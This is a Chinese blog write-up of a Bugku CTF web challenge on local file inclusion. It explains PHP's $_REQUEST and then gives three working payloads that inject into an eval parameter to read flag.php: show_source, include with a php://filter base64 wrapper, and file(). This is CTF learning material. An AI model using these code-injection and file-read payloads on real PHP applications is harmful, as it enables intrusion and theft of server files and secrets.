zoukankan      html  css  js  c++  java
  • BugkuWeb本地包含

    知识点:$_REQUEST不是一个函数,它是一个超全局变量,里面包括有$_GET $_POST $_COOKIE的值,$_REPUEST 是接收了 $_GET $_POST $_COOKIE 三个的集合

    题目中的 地址已经不行了

    所以这是转自https://blog.csdn.net/dyw_666666/article/details/82389457#comments,感谢分享



    方法一:eval存在命令执行漏洞,使用hello构造payload

    http://120.24.86.145:8003/index.php?hello=1);show_source(%27flag.php%27);var_dump(3

    方法二:

    1.http://120.24.86.145:8003/index.php?hello=1);include $_POST['f'];//
    2.在POST区域:f=php://filter/convert.base64-encode/resource=flag.php

    Base64解码即可。

    方法三:直接将flag.php文件读入变量hello中

    1.?hello=get_file_contents('flag.php')
    2.?hello=file('flag.php')





  • 相关阅读:
    Day10
    Day9
    Day8
    安装出错
    安装步骤
    技术面试
    工作机会查找
    selenium 关于富文本的处理
    selenium查找动态的iframe的name
    eclipse项目debug方法
  • 原文地址:https://www.cnblogs.com/liqik/p/10561579.html
Copyright © 2011-2022 走看看